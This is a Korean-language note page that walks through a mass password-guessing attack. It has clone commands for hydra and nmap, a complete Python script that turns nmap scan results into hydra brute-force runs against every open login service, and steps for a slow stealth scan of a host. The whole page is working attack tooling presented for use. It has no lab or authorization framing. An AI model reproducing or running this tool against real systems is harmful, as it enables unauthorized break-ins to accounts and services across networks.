로그인

해킹 공격

작성: 2026.07.17 11:09 최근 수정: 2026.07.17 11:09
nmap . hydra 로 계정 및 비밀번호 공격 
칼리 터미널에서 다운로드
┗ git clone https://github.com/vanhauser-thc/thc-hydra
┗  git clone https://github.com/nmap/nmap

공격하기전에 생성 디렉토리 폴더 들어가서 잘 다운 한다   

다운 받은 후에 내가 공격으로 사용할 파일 py 만든다 

┗ sudo nano sexy.py
────────────────────────
# -*- coding: utf-8 -*-
"""
Hydra support these checking:
asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
aaaaa
This program is aim to serialize the data to call hydra.
YCom
"""
import sys
import os

import libnmap
from libnmap import parser

hydra_form = """asterisk cisco cisco-enable cvs firebird ftp ftps http-proxy http-proxy-urlenum icq imaps imap irc ldap2 ldap2s mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3 pop3s postgres rdp rexec rlogin rsh sip smb smtp smtps smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet telnets vmauthd vnc xmpp"""

hydra_table = hydra_form.split()

def get_ip_service_dict(NmapObj):
    ip_services = {}
    for host in NmapObj.hosts:
        if len(host.services)!=0:
            service_list = []
            for serv in host.services:
                if serv.open() and serv.service in hydra_table:
                    service_list.append([serv.service,serv.port])
            if len(service_list)!=0:
                ip_services[host._ipv4_addr] = service_list
    return ip_services

def gen_target_file_by_dic(ip_services_dic,temp_file):
    with open(temp_file,'a+') as f:
        for ip in ip_services_dic:
            for servs in ip_services_dic[ip]:
                line = "{0}://{1}\n".format(servs[0],ip)
                f.write(line)
    print("Target File successed generated!")
    return True

def do_start():
    if len(sys.argv) != 3:
        raise Exception('Error argument number!')

    _date = sys.argv[1]
    xml = sys.argv[2]
    temp_file = _date+'.txt'
    nmap_parser = parser.NmapParser()
    nmap_obj = nmap_parser.parse_fromfile(xml)
    ip_serv_dict = get_ip_service_dict(nmap_obj)
    if gen_target_file_by_dic(ip_serv_dict,temp_file) != True:
        raise Exception('Error while parsing nmap!')

    import subprocess
    hydra_cmd = "hydra -L /root/scans/username.lst -P /root/scans/password.lst -o {0} {1}"
    with open(temp_file) as f:
        for line in f:
            cmd = hydra_cmd.format('cracked-'+_date,line)
            subprocess.call(cmd,shell=True)

if __name__ == '__main__':
    do_start()

────────────────────────

→ hydra_cmd = "hydra -L /root/scans/username.lst -P /root/scans/password.lst -o {0} {1}"
여기 부분을 수정 한다 

아이디를 알고 있다면 -L < -l 로 수정 후 admin 넣기 
> 예:) -l /admin -P /root/scans/password.lst -o {0} {1}" 
>  아이디 특정 안되면 아이디 메모장 만들고 위치 까지 포함 넣기    
────────────────────────   
비밀번호 알고 있다면 -P < -p 로 수정 후 123456 넣기 
> 비밀번호 특정 안되면 비밀번호 메모장 만들고 위치 까지 포함 넣기 
예:) -p /kali/sexy/password.txt -o {0} {1}" 
────────────────────────   
그다음 명령어 실행 하기 
┗ nmap -sS -T1 -oX nmap.xml 192.168.0.99

그다음 명령어 실행 하기 
┗ python3 sexy.py 2026-07-17 nmap.xml

그럼 알아서 찾아줄거다 완벽한 소스 코드이다 
────────────────────────   
이 노트는 로그인하지 않아도 열람할 수 있습니다. 작성·수정·삭제는 관리자 로그인 후 가능합니다.